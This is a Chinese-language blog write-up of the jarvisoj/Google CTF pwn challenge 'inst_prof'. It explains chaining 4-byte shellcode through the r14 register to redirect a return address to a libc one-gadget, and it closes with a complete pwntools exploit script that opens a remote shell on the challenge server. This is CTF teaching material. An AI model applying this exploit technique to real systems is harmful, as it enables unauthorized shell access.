jarvisoj pwn inst_prof writeup

原创

charlie_heng 于 2018-01-23 20:52:50 发布 611 收藏

分类专栏： pwn

这题其实是google ctf的一道题

看到的时候完全震惊了。。。4字节shellcode。。。这要怎么弄啊

想了半天想不出，然后看了下别人的wp，又一次被震惊了，还有这种骚操作。。。

在执行shellcode的时候，r14这个寄存器是不变的，所以可以用r14这个寄存器来存一些重要的东西

然后就是怎么get到shell 呢？

我这里来一套别的骚操作，不用别的wp里面的rop

首先先来说一个magic number

这个操作是我从另外的题里面学到的，每个libc都存在一个地址，跳转到这个地址就可以一发get shell（仅在x64下试验过，貌似x86是不行的），这个地址，也是偏移，被称为magic number，每个libc的magic number虽然不同，但是可以通过搜索/bin/sh，然后可以找到几个地方，类似下图

```
000000004647C                   mov     rax, cs:environ_ptr_0
0000000046483                   lea     rdi, aBinSh     ; "/bin/sh"
000000004648A                   lea     rsi, [rsp+188h+var_158]
000000004648F                   mov     cs:dword_3C46C0, 0
0000000046499                   mov     cs:dword_3C46D0, 0
00000000464A3                   mov     rdx, [rax]
00000000464A6                   call    execve
```


比如这题，magic number 就是0x4647c

找到这个magic number之后呢？

当然是把[rsp] 的值改为这个magic number+libc_base

这题的话，在rsp+64的地方是存这__libc_start_main+xxx的地址，这个xxx每个libc也不同的，但是代码都是差不多

```
0000000021F43                   call    rax
0000000021F45
0000000021F45 loc_21F45:                                ; C
0000000021F45                   mov     edi, eax
0000000021F47                   call    exit
```


这里的值为0x21f45+libc_base，也就是call rax的下一个地址

我们先 mov r14,rsp
然后执行64次 inc r14
再mov r14,[r14]
这个时候r14存的值就是0x21f45+libc_base

下一步我们要把r14改成magic number+libc_base

所以我们只要把r14 加上offset=（magic_number-0x21f45）

这里可以利用题目执行0x1000次shellcode这个特点来缩短时间，也就是穿进去 add r14,offset/0x1000
之后再用inc r14加上剩下的数

最后 mov [rsp],r14就可以get 到shell了

ps：这里三字节的指令都加了ret来加速

下面是payload

```python
from pwn import *

context.arch='amd64'

dec_r14=asm('dec r14')+asm('ret')
inc_r14=asm('inc r14')+asm('ret')
mov_r14_rsp=asm('mov r14,rsp')+asm('ret')
mov_r14_rr14=asm('mov r14,[r14]')+asm('ret')
mov_rrsp_r14=asm('mov [rsp],r14')

debug=0
if debug:
    p=process('./inst_prof')
    #gdb.attach(proc.pidof(p)[0])
    offset=0xD691F-0x202B1
    #context.log_level='debug'
else:
    p=remote('pwn2.jarvisoj.com', 9893)
    #offset=0xEA33D-0x21F45
    offset=0x4647C-0x21F45

def exe(es):
    p.send(es)
    p.recvuntil('\x00\x00\x00')

p.recvuntil('initializing prof...')
p.recvuntil('ready')
exe(mov_r14_rsp)
for i in range(64):
    exe(inc_r14)
exe(mov_r14_rr14)
t1=int(int(offset/0x1000)/2)
t2=offset-t1*0x1000*2
add_t1=asm('add r14,%d'%t1)
print(t1)
exe(add_t1)
exe(add_t1)
print('start inc!')
print(t2)
for i in range(t2):
    exe(inc_r14)
p.send(mov_rrsp_r14)
p.interactive()
```